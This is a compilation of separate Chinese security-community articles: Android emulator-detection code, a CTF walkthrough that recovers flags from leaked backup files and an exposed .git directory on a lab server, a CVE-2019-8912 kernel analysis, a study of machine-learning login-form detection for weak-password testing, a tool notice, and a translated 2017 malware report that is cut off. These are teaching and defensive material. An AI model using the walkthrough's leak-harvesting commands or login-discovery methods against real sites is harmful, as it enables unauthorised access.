通常我们去检测模拟器时会利用一些Android系统的运行特征，但这些方式比较复杂也比较难以理解，需要对Android系统有比较深入的了解，如何有一种办法比较高容错率并且检测效果还不错呢，之前，一般的检测模拟器的手段都是通过检测一些系统特定属性，如检测当前设备手机号，设备DeviceId，dev下是否存在socket/qemud和qemu_pipe两个文件，以及build.prop下的一些属性，在分析某赚软件时，它正是使用的这种检测方式，但是当当前设备被root后，就可以通过安装一些修改设备信息的软件来躲避这种检测方式，最近在看到某款游戏的检测手段时，看到了基于文件特征的检测方式，在这个基础上我又加了一些检测方式用来判断模拟器。
目前市面上流行的Android模拟器主要有Genymotion，天天模拟器，夜神模拟器，海马玩模拟器，畅玩模拟器，itools模拟器，逍遥模拟器，文卓爷模拟器，原生Android模拟器，BlueStacks，我们都知道除了原生模拟器之外，大部分Android模拟器都是基于VirtualBox的，这是重要的检测点之一，其次相比于手机，模拟器上少了一些重要特征，如蓝牙功能，温度传感器等等，这些都是可以用来检测模拟器的依据，同时，每种定制版本的模拟器上，都会有一些它特有的可执行文件，如下是我在测试多种模拟器时收集的特征文件：
if (anti("/system/lib/libdroid4x.so")) { //文卓爷
}
if (anti("/system/bin/windroyed")) { //文卓爷
}
if (anti("/system/bin/microvirtd")) { //逍遥
}
if (anti("/system/bin/nox-prop")) { //夜神
}
if (anti("/system/bin/ttVM-prop")) { //天天模拟器
}
如上图，每个模拟器都编译了自己的动态库或是可执行文件，这些文件在手机上是不存在的，那么我们就可以以此来判断当前设备是否是模拟器，如何去检测该模拟器是否存在也很简单，anti函数如下：
int anti(char *res) {
struct stat buf;
int result = stat(res, &buf) == 0 ? 1 : 0;
if (result) {
LOGE("the %s is exist", res);
// LOGE("this is a Emulator!!!");
}
return result;
}
C提供了一个stat函数用来判断当前文件是否存在，如果执行成功则会返回0，使用这种检测手段就需要去收集大量的模拟器特征，在测试时，本人也碰到了一些问题，如检测这个文件时：
anti("/system/lib/libc_malloc_debug_qemu.so");
//在cm，魔趣等基于aosp改版的系统上会存在libc_malloc_debug_qemu.so这个文件
我发现在一些debug版本的定制版系统上都存在这个文件，但测试了大量官方rom时都是没有问题的，所以这种方式的可靠度是不够高的，本人在这个判断的基础上再去判断了一次，如下：
if (anti("/system/lib/libc_malloc_debug_qemu.so")) {
//在cm，魔趣等基于aosp改版的系统上会存在libc_malloc_debug_qemu.so这个文件
if (access("/system/lib/libbluetooth_jni.so", F_OK) != 0) {
LOGE("the bluetooth is not exist");
i++;//在误报情况下，再去检测当前设备是否存在蓝牙，不存在则判断为模拟器
}
}
目前市面上手机都是拥有蓝牙功能的，设备用于蓝牙功能时，我们发现系统的system/lib下有一个libbluetooth_jni.so文件，而这个文件在模拟器上是不存在的。
此类类似的特征文件还有一些，这里就不一个个列举了，除了检测这些固定文件外，我们还可以去检测一些模拟器特定的系统属性，在adb
shell下输入getprop即可看到大量系统属性，所以这里就是通过一定系统属性去检测当前设备，如init.svc.vbox86-setup（基于VirtualBox的模拟器都会存在该属性）：
通过一些测试我们可以过滤出一些比较敏感的信息，这些属性我们都可以用作检测模拟器的手段，在so里去获取这些属性也很简单，系统为我们提供了现成的api函数：
int anti2(char *res) {
char buff[PROP_VALUE_MAX];
memset(buff, 0, PROP_VALUE_MAX);
int result =
__system_property_get(res, (char *) &buff) > 0 ? 1 : 0; //返回命令行内容的长度
if (result != 0) {
LOGE("the %s result is %s", res, buff);
// LOGE("this is a Emulator!!!");
}
return result;
}
通过__system_property_get我们就可以拿到该属性对应的值，值会保存在buff中。
当然了常规通过build.prop的检测方式也未尝一无是处，在检测模拟器时可以多维度去检测，在build.prop中一些字段也是比较重要的，如ro.product.name获取当前设备名称：
char *model = getDeviceInfo("ro.product.name");
if (!strcmp(model, "ChangWan")) {
} else if (!strcmp(model, "Droid4X")) { //非0均为模拟器
} else if (!strcmp(model, "lgshouyou")) {
} else if (!strcmp(model, "nox")) {
} else if (!strcmp(model, "ttVM_Hdragon")) {
}
通过和一些常见模拟器设备名称进行对比，但是目前模拟器都可以手动去修改imei，deviceID，以及设备信息，这种检测方式效果不大。
本人测试时还发现，当试图去检测一些特殊信息，如当前设备cpu温度时，搜集了一些资料，提供了一个adb方式去获取，/sys/class/thermal/thermal_zoneX/temp(其中X是核心数量)，但发现模拟器上没有thermal_zoneX目录，只有两个cooling_deviceX目录，因而有了一个新的判断依据，如下：
int checkTemp() {
DIR *dirptr = NULL; //当前手机的温度检测，手机下均有thermal_zone文件
int i = 0;
struct dirent *entry;
if ((dirptr = opendir("/sys/class/thermal/")) != NULL) {
while (entry = readdir(dirptr)) {
// LOGE("%s n", entry->d_name);
if (!strcmp(entry->d_name, ".") || !strcmp(entry->d_name, "..")) {
continue;
}
char *tmp = entry->d_name;
if (strstr(tmp, "thermal_zone") != NULL) {
i++;
}
}
closedir(dirptr);
} else {
LOGE("open thermal fail");
}
return i;
}
使用opendir函数去访问thermal目录，遍历该目录下所有目录，当不存在thermal_zone目录时，则判断当前设备为模拟器，最后放上几张模拟器测试图。
**海马玩：**
**逍遥模拟器：**
**真机Nexus 5：**
**真机乐视2：**
以上只是提供了一些检测模拟器的思路，真正的使用还需要大量的进行测试，提高检测的准确性和稳定性。
扫描下方二维码关注YSRC公众号，回复“模拟器检测”获取基于文件特征的Android模拟器检测实现代码。 | 社区文章 |
# 举足轻重的信息搜集CTF
**信息搜集**
## **常见的搜集**
**题目描述:**
一共3部分flag
docker-compose.yml
version: '3.2'
services:
web:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-information-backk:latest
ports:
- 80:80
**启动方式**
docker-compose up -d
**题目Flag**
n1book{info_1s_v3ry_imp0rtant_hack}
**Writeup**
首先浏览网站
根据提示可知flag由三部分组成，进行敏感信息收集
得到敏感目录robots.txt,访问<http://192.168.10.21/robots.txt>
得到敏感目录/flag1_is_her3_fun.txt，访问<http://192.168.10.21/flag1_is_her3_fun.txt>
得到flag的第一部分flag1:n1book{info_1
在Linux下，用gedit编辑器保存后，当前目录下会生成一个后缀为“～”的文件，其文件内容就是刚编辑的内容。主页文件名为index.php，则该文件名为index.php~。通过浏览器访问这个带有“～”的文件，便可以得到源代码。
<http://192.168.10.21/index.php~>
得到flag的第二部分flag2:s_v3ry_im
在用vim编辑文件的过程中可能遇到因为网速不够等原因导致的命令行卡死而意外退出的情况，会在当前目录下生成一文件名为.文件名.swp的备份文件
访问<http://192.168.10.21/.index.php.swp，下载该文件>
用“vim -r”命令恢复文件的内容。恢复SWP备份文件的办法是，先在当前目录下创建一个index.php文件，再使用“vim -r
index.php”命令，即可得到意外退出时编辑的内容，
touch index.php
cat index.php
vim -r index.php
cat index.php
见图
得到flag的第三部分flag3:p0rtant_hack}'
将三部分组合起来即可得到完整的flag：n1book{info_1s_v3ry_imp0rtant_hack}
## **粗心的小李**
**题目描述:**
看看能不能找到信息吧？
docker-compose.yml
version: '3.2'
services:
web:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-information-git:latest
ports:
- 80:80
**启动方式**
docker-compose up -d
**题目Flag**
n1book{git_looks_s0_easyfun}
**Writeup**
首先浏览网站
根据提示可以知道本题是考察git信息泄露的
cd CTF #使用完一次后要重新下载
git clone https://github.com/denny0223/scrabble.git
cd scrabble
./scrabble http://192.168.10.21/
ls
cat index.html
可以将得到的文件打开
得到flag：n1book{git_looks_s0_easyfun}
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
**作者：启明星辰ADLab
公众号：<https://mp.weixin.qq.com/s/K1clZUCZBRtKi5wx1IhTcg>**
### 一、 漏洞背景
近日，Linux
git中发布一个commit补丁，该补丁对应的漏洞是一个本地提权漏洞CVE-2019-8912，漏洞影响范围较广。根据git中的commit信息可知，该漏洞出现在内核`'crypto/af_alg.c'`中的`af_alg_release`函数中，可以通过`sockfs_setattr`函数触发，漏洞类型是use
after free，可以导致本地代码执行进行权限提升。
### 二、 漏洞影响版本
* Linux 2 .6 ~ linux 4.20.11
* Red Hat Enterprise Linux 7，Package： kernel-alt
* Debian，Release：Jessie，Version：3.16.56-1+deb8u1
* Debian，Release：Jessie (security)，Version：3.16.56-1
* Debian，Release：stretch，Version：4.9.144-3
* Debian，Release：stretch (security)，Version：4.9.110-3+deb9u6
* Debian，Release：buster，Version：4.19.16-1
* Debian，Release：sid，Version：4.19.20-1
### 三、 Linux Crypto模块简介
Linux内核从版本2.5开始引入了加密机制，为内核提供加密功能，应用包括：硬件加密设备驱动、内核代码签名、硬件随机数生成器、文件系统加密等。从版本2.6.6之后，内核源码提供了丰富的密码学算法支持，并可以通过配置编译选项将加密算法作为模块编入内核。内核编译配置如下图所示：
但是该加密功能提供的API接口只能在内核层进行使用，用户层无法调用。2010年，有位维护者向Linux Crypto维护组提交了一份Crypato API
用户接口，类似于netlink，基于socket进行通信，便于用户层访问内核加密子系统。功能实现代码在文件`crypto/af_alg.c`中。
### 四、 漏洞原理及溯源
漏洞存在于crypto
模块中的`af_alg_release()`函数中。`af_alg_release()`函数在进行对象释放时，未将对象置空。对应commit：`9060cb719e61b685ec0102574e10337fa5f445ea`补丁代码如下，补丁添加了一行代码：`sock->sk
= NULL;` 。
在未添加补丁之前，如果该sock->sk引用计数是1，当调用sock_put()进行释放后没有置空，就直接返回，会产生一个sock->sk悬挂指针。
为了分析这个漏洞的前因后果，先分析下相关的socket代码。对每个新创建的socket，Linux内核都将在sockfs中创建一个新的inode。`Sockfs_*`系列函数就是用来操作sockfs文件系统的。`Sockfs_setattr()`函数就是设置socket文件属性的。在`net/socket.c`文件中`sockfs_setattr()`函数将会使用sock->sk对象。
根据提交的commit：`9060cb719e61b685ec0102574e10337fa5f445ea`细节可知，在该漏洞披露之前，Linux已经修复了`sock_close()`和`sockfs_setattr()`之间的条件竞争漏洞，对应commit为`6d8c50dcb029872b298eea68cc6209c866fd3e14`，具体先看下`sockfs_setattr()`函数中的补丁。补丁代码如下：
行544，首先判断sock->sk是否为空，如果不为空，行545再将用户层传进来的`iattr->ia_uid`赋值为`sock->sk->sk_uid`。然后看`sock_close
()`函数中的补丁。补丁代码如下：
行1186，替换成了新函数`__sock_release()`，该函数多了一个参数inode。`__sock_release()`函数实现如下：
行601，对inode进行判断，如果不为空，然后调用`inode_lock()`函数对其进行上锁。其实该inode本身和要进行释放的socket对象是对应的。行603，调用ops中release()函数进行释放操作。这个ops中release()函数只是一个函数指针，最终会根据用户注册哪种套接字类型决定。行604，再次判断inode是否为空，如果不为空，再进行解锁。通过对inode加锁，防止在对socket对象释放时进行其他操作。
从commit：`6d8c50dcb029872b298eea68cc6209c866fd3e14`提供的细节可知，
`sock_close()`函数和`sockfs_setattr()`函数之间的条件竞争可以通过用户层fchownat()函数引发。根据man手册可知，该函数是用于设置文件属性的，例如uid和gid，在内核中对应的`sockfs_setattr()`函数，如下图所示：
细节中描述，该函数不会保持文件fd的引用计数，这也是导致存在条件竞争的原因。根据前文可知，`sockfs_setattr()`函数其实就是设置UID才操作sock->sk对象的。
如果再继续向前追溯的话，从commit：`86741ec25462e4c8cdce6df2f41ead05568c7d5e`提供的细节可知UID的来龙去脉。该补丁提交于2016年。由于socket
协议中的结构体struct sock在大多时候都是和用户层的sockets一一映射的，sockets对应的内核结构体为struct
socket。考虑到方便操作，便通过向struct sock添加一个sk_uid字段来简化对struct
socket中的UID的匹配，也因此添加了一个关键函数。如下图所示：
由此可知，本来存在于sock_close()和sockfs_setattr之间的条件竞争已经被修复，由于`crypto/af_alg.c`中`af_alg_release()`函数没有将释放后的sock->sk及时置空，导致前面所做的安全补丁全部失效。
### 五、 安全建议
目前该漏洞补丁已经给出，请及时升级到最新版本。
<https://github.com/torvalds/linux/commit/9060cb719e61b685ec0102574e10337fa5f445ea>
* * *
**启明星辰积极防御实验室（ADLab）**
ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员，“黑雀攻击”概念首推者。截止目前，ADLab已通过CVE累计发布安全漏洞近1000个，通过
CNVD/CNNVD累计发布安全漏洞近500个，持续保持国际网络安全领域一流水准。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
**作者：Alfy@墨云科技VLab Team
原文链接：<https://mp.weixin.qq.com/s/MtFZc1Zv6uNo25ORNijpaQ>**
## **什么是web登录入口**
目前，大多数Web站点都具备身份验证的功能，防止非授权访问。web站点中每个账户都有特定的操作权限，如果非授权用户能够通过非常规的方式（如弱口令爆破、窃取他人的用户名口令等）登录他人账户，则可能造成站点用户信息泄露、站点系统被控制等严重后果。
当用户访问相关页面时，系统会要求其输入用户名、口令等相关信息进行验证，验证通过才允许后续网页访问。网页中进行身份验证的输入点统称为登录入口；登录入口中不同的输入类型如username、password、captcha和login按钮等，分别称为登录实体。因而，登录入口是一种重要的攻击面。此外，web站点的管理后台的登录入口具有更高的价值，一旦被攻击者非法登录成功，会暴露出更多的攻击面（例如系统配置等）。
为了提升Web网站的安全防护能力，消除web登录入口中存在的风险是重要的一环。其中，通过自动化的识别网站登录入口，并进行弱口令检测，是最为有效的web登录入口风险检测手段。墨云科技的Vackbot智能渗透机器人在此方面取得了突破。
登录实体示例图
## **登录入口识别方法**
**1.识别方法概述**
传统识别方法基于规则的方法，误报和漏报的问题比较突出，规则一旦形成，除非人为更改，否则长期处于停滞状态，灵活性较差。传统建模方法只考虑了部分上下文信息，缺乏对登录入口整体信息的认识。
不同于基于规则和基于传统建模登录入口识别的方法，图神经网络建模在对每个节点表征时不仅参考自身节点信息同时考虑了邻居节点信息，更加充分利用网页结构信息来决策不同网页标签所属的登录实体类别。图神经网络是一种特征提取器，它对相关数据信息构造一个图结构，生成节点的特征时它不仅参考自身节点信息同时考虑了邻居节点信息，它能够充分利用网页标签之间结构信息，从而提升相关登录实体识别效果。
**2.我们的方法**
为了有效的自动识别登录入口，我们提出了基于GCN模型为主，传统规则为辅的登录入口识别方法。首先，对网页DOM
TREE的前序遍历过滤掉不属于登录实体的网页标签，同时，根据网页标签类型和属性值包含的关键词分别识别不同的候选网页标签，不同网页标签构造一个全连接图，基于网页标签图进行网页标签建模学习。
图卷积神经网络建模流程图
## **如何基于图卷积神经网络建模**
基于图神经网络建模首先需要把网页数据转为一个具体的图数据，具体处理流程包括网页数据去噪、节点特征构建、分类建模。
**1.网页数据去噪**
网页DOM
TREE中包含了大量的网页标签，这些网页标签中与登录入口相关的网页标签非常有限，并且登录入口相关的网页标签一般都相对集中在一颗网页子树中，基于规则的方法通过网页标签类型、网页属性关键词、网页标签相邻信息可以有效过滤掉大量的非登录的网页标签。在登录入口识别的具体实现中，为了方便使用邻居网页标签信息，使用了dom
tree的后序遍历对不相关的网页标签过滤，获取候选的登录入口相关的网页标签集合。
网页标签选择示例数据
**2.特征设计**
2.1 节点特征设计
网页标签属性值对判断一个网页标签所属的实体类别很重要，这里使用TFIDF算法计算登录实体与关键词的相关性。它由TF(词频)和DF(文档频率)组成。TF表示关键词在网页中出现的频次，TF值越大则关键词对网页标签的代表性越强，DF代表关键词在所有网页标签中出现的频次，DF越大关键词对网页标签的区分性越小。为了方便结合两部分引入了逆向文件频率
(IDF) ，它可以由所有关键词个数除以包含该关键词的数目，再取对数得到。具体实现如下所示：
● 对所有的网页标签属性值分词计算词语的IDF值；
● 针对每一个网页标签计算词语的TF值，由TF和IDF计算得到所有词语的TFIDF值；
● 计算TFIDF值选择值最大的若干个关键词作为登录入口识别任务特征词。
以下是根据TFIDF方法对大规模语料对所有的词语统计排序，选择与不同实体类型强相关的词语的相关关系如下表所示：
实体类型 | 部分关键词列表
---|---
username | ['user', '用户名', 'account', '帐号', '邮箱', '身份证','email']
password | ['pwd', '密码', 'password','pin','密钥']
captcha | ['captcha', '验证码', 'valid','更换', 'yzm','verify', 'secret', 'code']
login | ['login', '登录', '登入', '登陆', 'submit', '确认','进入系统']
节点特征部分示例表
2.2 边权重设计
网页内登录实体相关的网页标签一般相对集中，距离较近的网页标签的相关性也较强，因此，我们基于网页Dom
TREE计算候选网页标签之间的距离distance，构建网页标签节点之间的边权重similarity，其计算公式如下所示,其中path
length为网页标签在Dom tree中深度。
**3\. GCN建模**
在登录入口识别任务中使用了GCN模型提取特征，它是一种采用图卷积的神经网络，可以同时基于自身节点信息与邻居节点信息学习每个节点的表征，极大程度提升了登录实体识别的准确性。
图卷积神经网络结构图
像其他深度学习结构一样，GCN也是一种特征提取器，生成节点的特征时它不仅参考自身节点信息同时考虑了邻居节点信息。对于第L+1层的节点特征,其模型公式如下所示：
其中是节点的邻居节点，为节点和节点的度。归一化就是除以节点的度，这样每个节点信息传递时就被规范化了，不会因为节点的度大，它对相邻的所有节点都分配很大的影响力。同时为了在更新节点特征时考虑到节点自己的信息，一般把节点自己加入邻居节点集合。通过gcn模型提取节点的特征后使用soft
max分类器对网页标签分类，从而基于网页标签类别识别登录入口相关信息。
## **实验结果**
测试数据集从网上随机找了1777个包含登录入口的网页数据，当网页内所有登入实体全部识别正确则视为识别正确，评估指标acc为0.98。同时基于相同测试集，我们增加了对比实验，其中基于规则的方法是根据网页标签类型和属性值包含的关键词分别识别不同的登录实体；基于条件随机场(CRF)的方法，首先，过滤掉不是登录实体的网页标签，然后对候选网页标签序列使用CRF建模。每种方案的测试结果如下表所示：
不同方法登录入口识别效果 | 基于规则的方法 | 基于条件随机场(CRF)的方法 | 基于图卷积神经网络(GCN）的方法
---|---|---|---
Acc | 0.65 | 0.88 | 0.98
登录实体识别实验结果表
## **总结**
随着网络安全行业日新月异的发展，人工智能技术作为一种交叉学科技术，需要被网络安全行业从业者良好的使用，以提升现有网络安全技术的能力。同时，人工智能技术面临着数据标签及质量，模型可解释性，模型迁移能力等各方面的挑战，网络安全从业者应正确的认识人工智能技术所带来的效益及其本身的局限性，挖掘人工智能与网络安全的落地应用结合点，切忌对人工智能盲目认知，实现两者的有效融合发展。
* * * | 社区文章 |
**作者：[horsicq](https://github.com/horsicq "horsicq")
项目名称：XPEViewer
项目地址：<https://github.com/horsicq/XPEViewer>**
适用于Windows、Linux和MacOS的PE文件查看器/编辑器。
1\. 下载: <https://github.com/horsicq/XPEViewer/releases>
2\. 如何运行: <https://github.com/horsicq/XPEViewer/blob/master/docs/RUN.md>
3\. 如何构建: <https://github.com/horsicq/XPEViewer/blob/master/docs/BUILD.md>
4\. Changelog:
<https://github.com/horsicq/XPEViewer/blob/master/changelog.txt>
* * * | 社区文章 |
# 【技术分享】2017恶意软件情况报告
|
##### 译文声明
本文是翻译文章，文章来源：go.malwarebytes.com
原文地址：<https://go.malwarebytes.com/StateofMalware0117.html?ref=sm_mwb>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[pwn_361](http://bobao.360.cn/member/contribute?uid=2798962642)
预估稿费：260RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**一、概述**
在2016年，网络攻击给世界带来了重大影响，甚至成为美国大选中的一个关键因素。在这方面，2016年你可以看到每一个人、甚至是从来没有登录过网站的人都受到了网络攻击和黑客行为的影响。
**二、报告研究基础**
我们的报告以下面的数据为基础：
1.几乎十亿恶意软件的检测/发生。
2.2016年6月到11月期间的数据。
3.近1亿个Windows和Android设备。
4.超过200个国家。
5.来源于企业和消费者环境。
6.我们的报告关注六类威胁：勒索软件、广告欺诈恶意软件、Android恶意软件、僵尸网络、银行木马和恶意广告软件。
此外，我们使用的数据不仅包括感染数据，还包含来自我们自己内部蜜罐的数据和收集的数据，这些都有利于识别恶意软件的传播。
三个关键点：
1.勒索软件占据了新闻头条，并且成为了攻击商业活动最受欢迎的攻击方法。
2.有时候检测到的以Kovter为首的广告欺诈恶意软件比勒索软件还要多，对消费者和企业构成巨大威胁。
3.僵尸网络感染并招募了物联网设备，发动了大规模DDoS攻击。
**三、勒索软件上升到威胁首位，重点针对商业活动**
在2016年，勒索软件抢占了新闻头条，并有很好的理由。尽管传统恶意软件，如银行木马、间谍软件、和键盘记录的网络犯罪，在将受害者的钱接收到银行帐户之前，需要监控多个步骤，而勒索软件使这个步骤简化了很多，可以看作是自动化处理。脚本小子甚至可以购买勒索软件工具包，被称为“勒索软件即服务(RaaS)”，它可以将所有复杂的障碍从数字盗窃中去除。仅在2016年第四季度，我们就编目了近400个勒索软件的变种，大部分是一些新犯罪团体为了获得利润而创建的。
勒索软件的趋势不是新的，然而，正如我们已经看到的，它的传播在过去两年有很大增长，并观察到特定的恶意软件家族上升到了网络犯罪交易的首位。
勒索软件的传播从2016年1月到2016年11月增长了267%。这个威胁景观占据了前所未有的统治地位，这是以前从来没有见到过的。
**受勒索软件影响最多的前十个国家**
上图是受勒索软件最多的前十个国家，美国是检测到勒索软件最多的国家，这一点不必惊讶。来自世界各地和东欧的许多团体都以美国为目标，这不仅是因为美国民众对技术有广泛的可及性，还因为他们支付赎金的方式，以及他们的意识形态观点。有一个国家似乎从这个名单上消失了，这就是俄罗斯，因为俄罗斯公民牢牢掌握了计算机的安全，而且，有一个现象就是俄罗斯勒索软件开发者可能很少攻击他们自己人。
**勒索软件在各大洲的分布**
**2016年最流行的勒索软件家族**
2016年，在勒索软件游戏中有三个主要玩家。其中的一个已经退出了比赛，其它两个还在继续争夺统治地位。它们是：TeslaCrypt、Locky、Cerber。
在下表中，你能看到2016年其它一些突出的勒索软件家族。
在2016年初，TeslaCrypt曾大规模传播，但是在5月份TeslaCrypt被关闭了，并为所有受害者释放出了解密密钥。
当TeslaCrypt被关闭后，它创造的真空期很快被其它两个家族占据了，它们是Locky和Cerber。它们几乎占满了整个2016年第三季度和第四季度，不过在3月和5月时，它们的传播水平已经几乎和TeslaCrypt一样了。
检测到勒索软件的不同、即使是在高发区
1.在企业环境中检测到的勒索软件有81%发生在北美洲。
2.在家庭/消费者环境检测到的勒索软件有51%发生在欧洲。
勒索软件网络犯罪份子将他们的努力集中在了商业活动中，特别是北美企业，毫无疑问，他们可能意识到这些公司可以损失的东西很多、并且有很多支付资源。在全球范围内，在12.3%的企业交易活动中探测到了勒索软件，但是在消费者端，只有1.8%。
四、广告欺诈恶意软件严重攻击着美国人
尽管在2016年勒索软件占据着统治地位，但是广告欺诈恶意软件的表现也很突出。实际上，探测到的广告欺诈恶意软件，尤其是Kovter恶意软件，在夏天的几个月里能媲美勒索软件。
**发现广告欺诈的前10个国家**
**近看Kovter广告欺诈恶意软件**
Kovter是目前发现的最先进的恶意软件家族。它包含了复杂的功能，如文件不用落盘，拥有只创建一个注册表键值就可以感染系统的能力，这让很多反病毒产品很难探测到它。另外，Kovter采用rootkit功能来进一步隐藏自身的存在，并会积极的识别和关闭安全解决方案。
尽管Kovter不是新的，它第一次出现是在2015年，一直被用作其他恶意软件家族的下载者，一个负责偷取个人信息的工具，一个用于获得系统访问权的后门。
然而在2016年，我们观察到它开始被用作广告欺诈恶意软件，这种恶意软件可以被用于劫持系统，并使用它去访问网站、点击广告，这是为了在广告竞价活动(被称为点击劫持)中创造更多的点击量。除了以这样的方式运用这种恶意软件外，在2016年Kovter的传播也发生了变化，Kovter以前主要是通过驱动器漏洞和利用工具包来传播，现在也看到了它使用大量的恶意钓鱼邮件。
这种传播方法的变化，结合Kovter的传播者更喜欢将美国人作为目标这个事实，使Kovter在2016年成为了美国人面对的最大威胁之一，同时Kovter攻击美国人比其它任何人都多，占到了68.64%。
**各国检测到的Kovter分布**
Kovter在方法和传播上的改变是有意义的，因为它反应了勒索软件的增长趋势：Kovter和勒索软件两者都为攻击者提供了直接的利润来源，从而不用靠给其它罪犯出售密码库、信用卡信息、及社交媒体帐户来获得利润。这种攻击可以向受害人要求报酬，用于恢复他们的重要文件。或利用受害人去欺诈广告业，从而可以在较少的努力下得到更多的利润。
**五、僵尸网络利用物联网设备制造大破坏**
僵尸网络在过去10年里是部署恶意软件最常用的机制之一。这些年我们看到僵尸网络采用了一个新的战术：攻击、感染和雇佣物联网络设备成为僵尸网络的一部分，如联接到互联网的恒温调节器、或家用安全摄像机。2016年最受关注的僵尸网络被称为Mirai，一个开源的恶意软件，它能感染设备，并从一个命令和控制服务器上获取命令。在9月下旬，使用Mirai僵尸网络的大规模攻击行动入侵了很多物联网设备和家用路由器，所有受感染的设备都从一个单一的源接收命令，当僵尸网络军队集结完毕后，攻击者使用分布式拒绝服务攻击打倒了几个著名的网站。
一个月后，Mirai攻击了互联网的一个骨干区域，Dyn，并且这种做法阻止了数以百万计的用户访问热门网站，如Twitter、Reddit、和Netflix。Mirai在功能上不仅能扫描连接到互联网的设备，还能使用一个内部的用户名和密码数据库，去获得设备的访问权，这是Mirai的一个重要功能。在Mirai进入设备并感染它后，Mirai根据操作者的命令，可以向任何目标发动DDoS攻击。
我们看到起源于流行僵尸网络家族的变种在亚洲和欧洲在增加。例如，Kelihos僵尸网络在七月份增加了785%，到了十月份增加到960%。IRCBot僵尸网络在八月份增加了667%。Qbog僵尸网络在十一月份增加了261%。
**分布在各大洲的僵尸网络**
上图为僵尸网络在各大洲的分布状况，亚洲的僵尸网络占到了61.15%，其次是欧洲，占到14.97%。
德国处理了大量的僵尸网络问题，从2015年到2016年，在该国检测到的僵尸网络数量增加了550%。
**网络罪犯改变了恶意软件传播策略**
2016年，在钓鱼邮件中使用脚本附件是恶意软件传播方法的最大改变之一。这些脚本通常驻留在压缩文件中，一旦打开并触发了它们，它们会访问远程服务器，并在系统中下载和安装恶意软件。
另一个在2016年又流行的方式是使用包含宏脚本的Office文档(.docx,.xlsx,等等)，一旦用户打开文件并启用宏后，恶意软件就会被执行。通常会使用社会工程学策略，攻击者会哄骗用户启用宏功能，恶意宏在系统中会下载并运行恶意软件。建立在原有感染方法之上，攻击者通过发送受保护的ZIP文件和Office文件来增加复杂性，并在钓鱼邮件中包含解压密码。这增加了攻击的合理性，同时，这也是一种有效的对抗电子邮件自动分析的方法，包括蜜罐和沙箱。
在6月份，通过利用工具包，使用宏脚本的数量增加很多。这是因为Angler利用工具包，一个2015年到2016年初的主要的利用工具包，后来它的服务被关闭了。然而，RIG利用工具包迅速代替了Angler的位置，并且在2017年我们可能会看到更多。
**六、Android恶意软件变得更聪明**
在过去几年里，手机威胁景观并没有改变很多。Android恶意软件创造者主要是在追赶现代Windows桌面恶意软件的功能，当这些功能涉及到Android操作系统时，可能比较困难。
然而在2016年，一个值得注意的趋势是使用随机化的恶意软件作者增加了，这可以被用于逃避手机安全引擎的探测。这导致了被检测到的Android恶意软件增加了很多。
**分布在各国的Android恶意软件**
有趣的是，巴西，印度尼西亚，菲律宾和墨西哥是检测到Android恶意软件前10位的国家。在发展中国家检测到很多流行的Android恶意软件，主要是因为在这些国家广泛使用了不安全的第三方应用商店。
**七、恶意软件攻击在国家和地理上的差异**
我们的数据显示，在不同区域使用的攻击方法和恶意软件有所不同。针对美国和欧洲的攻击是高度分化的。在美国探测到了大多数类型的恶意软件，并且探测到的每一个类威胁总量都要领先于其它所有国家，除了银行木马类型，这一类型的攻击在土耳其是最多的。
在本报告关注的恶意软件类型中，欧洲是恶意软件缠身最深的大陆，欧洲的感染量比北美洲多了20%，比大洋洲更是高了17倍。
1.在勒索软件方面，欧洲领先于所有其它大陆：有49%的勒索软件是在基于欧洲的设备中探测到的。
2.在Android恶意软件方面，有31%的Android恶意软件是在基于欧洲的设备中探测到的。
3.在恶意广告软件方面：有37%的恶意广告软件是在基于欧洲的设备中探测到的。
欧洲的恶意软件将目光投向法国、英国、和西班牙
在欧洲被恶意软件攻击最多的国家是法国、英国、和西班牙。
针对英国的恶意软件总量仅次于法国。在我们6个月的研究期内，我们看到英国的事件几乎是俄罗斯的两倍。德国受勒索软件的影响排在第二位，排在美国后面。一个接受的理论是：恶意软件作者在广泛传播他们的成品前，会先将德国作为了一个试验场。同时，俄罗斯受勒索软件的影响是不均衡的(和其它国家相比，勒索软件对俄罗斯的影响较小)，但俄罗斯却是银行木马的热门目标。
**八、2017预测**
**勒索软件**
在2016年年末，主要的勒索软件占据了重要的舞台，我们不太可能看到很多新的先进的勒索软件家族在Cerber和Locky的成熟和大规模渗透下进入市场。其中的许多将利用勒索软件的流行在网络犯罪中迅速发展。
这种趋势从2016年开始还将断续延续。在2016年后六个月里探测到的勒索软件变种中，有60%从出现到现在还不到一年，这进一步说明了一个事实：今天存在的大多数勒索软件是由新手开发的，并带到了勒索软件行业中。
我们可能会看到更多的变种，它们会修改受害计算机的主引导记录(MBR)。MBR是系统能将自己引导到操作系统状态的关键组件，一旦被修改，系统将会被引导到恶意软件设置的一个锁屏状态，并要求赎金用于解密文件，及恢复主操作系统的访问权。此功能的添加将受害者的选项减少到只有两个：要么支付赎金，要么把系统彻底擦干净。
**恶意软件传播**
多年来，我们观察到在恶意软件的传播方式中最稳定的只有一个：通过电子邮件传播。网络钓鱼攻击，包含恶意附件，这种方法在2016年下半年有一个很大的反弹。然而，我们预测在不久的将来，利用工具包(特别是RIG)有可能会再一次成为标准的恶意软件传播方式。
由于源于钓鱼邮件的下载者和安装恶意软件会有新的发展，以及使用包含宏脚本的Office文档，在未来我们不会看到钓鱼攻击方法会消失，这种攻击方法在今年剩下的时间里，将继续维持在稳定的水平，并可能会变得复杂。
**物联网**
